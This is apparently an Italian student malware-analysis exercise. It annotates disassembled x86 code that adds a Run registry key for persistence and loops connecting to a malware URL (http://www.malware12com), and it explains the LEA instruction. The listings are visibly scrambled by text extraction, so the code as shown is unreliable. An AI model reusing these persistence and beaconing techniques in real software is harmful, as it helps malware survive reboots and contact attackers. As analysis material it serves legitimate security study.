

```
0040286F
                push
                        2
                                ; samDesired
00402871
                                ; ulOptions
                push
                        eax
00402872
                push
                        offset Subkey
                                        ; "Software\\Microsoft\\Windows\\CurrentVersion\\Run" ----> registro che
gestisce i programmi che si avviano al avvio della macchina
                        HKEY_LOCAL_MACHINE; hKey ---> REGISTRO DOVE SONO CONTENUTI I RECORD E LE
00402877
                push
CONFIGURAZIONI DELLA MACCHINA
                        esi ; RegOpenKeyExW ----> FUNZIONE CHE PERMETTE DI APRIRTE LA CHIAVE DI REGISTRO PER
0040287C
                call
MODIFICARLA
0040287E
                test
                        eax, eax
00402880
                        short loc 4028C5
                jnz
00402882
00402882 loc 402882:
00402882
                        ecx, [esp+424h+Data]
                lea
00402886
                                ; lpString
                push
                        ecx,
00402887
                        bl, 1
                mov
00402889
                call
                        ds:lstrlenW
                        edx, [eax+eax+2]
0040288F
                lea
00402893
                                ; cbData
                push
                        edx
00402894
                mov
                        edx, [esp+428h+hKey]
00402898
                lea
                        eax, [esp+428h+Data]
                        eax; lpData
0040289C
                push
0040289D
                push
                        1
                                ; dwType
0040289F
                push
                                ; Reserved
004028A1
                lea
                        ecx, [esp+434h+ValueName]
004028A8
                                ; lpValueName
                push
                        ecx
004028A9
                push
                                ; hKev
                        ds:RegSetValueExW ----> FUNZIONE CHE PERMETTE I AGGIUNGERE NUOVI VALORI AL REGISTRO E DI
004028AA
                call
SETTARE DATI
```

Apriamo, modifchiamo e salviamo, questo procedimento permette al malware di avviarsi al avvio del pc, in modo tale di persistente in modo permanente.

L'istruzione **lea** carica in un registro l'indirizzo effettivo di una certa variabile.

L'istruzione LEA (Load Effective Address) in linguaggio assembly x86 è utilizzata per calcolare e caricare l'indirizzo effettivo (effective address) di un operando nella destinazione specificata. Nonostante il nome, LEA non legge il contenuto della memoria; invece, esegue un calcolo basato sull'operando di origine e memorizza il risultato nella destinazione.

L'istruzione LEA è versatile e viene spesso utilizzata per eseguire calcoli aritmetici senza accedere effettivamente alla memoria. È comunemente impiegata nell'ottimizzazione del codice dove l'obiettivo è eseguire operazioni aritmetiche in modo efficiente.

text:00401150 .text:00401150 .text:00401150; DWORD \_\_stdcall StartAddress(LPVOID) .text:00401150 StartAddress proc near ; Data XREF: sub\_401040+EC个o .text:00401150 push esi .text:00401151 push edi .text:00401152 push 0 ; dwFlags .text:00401154 push 0 ; IpszProxyBypass .text:00401156 push 0 ; lpszProxy .text:00401158 1 ; dwAccessType push offset szAgent ; "Internet Explorer 8.0" ----> CLIENT SERVER .text:0040115A push ds:InternetOpenA ----> INIZIALIZZARE UNA CONNESSIONE INTERNET .text:0040115F call edi, ds:InternetOpenUrlA ----> CONNESSIONE A UN URL .text:00401165 mov .text:0040116B mov esi, eax .text:0040116D .text:0040116D loc\_40116D: ; CODE XREF: StartAddress+30↓j .text:0040116D 0 ; dwContent push .text:0040116F 80000000h ; dwFlags push .text:00401174 0 ; dwHeadersLength push ; lpszHeaders .text:00401176 push 0 .text:00401178 ; "http://www.malware12com ----> URL IN CONNNESSIONE push offset szUrl ; hInternet .text:0040117D push esi .text:0040117E call edi; InternetOpenurlA short loc\_40116D .text:00401180 jmp .text:00401180 StartAddress endp .text:00401180 .text:00401180 -----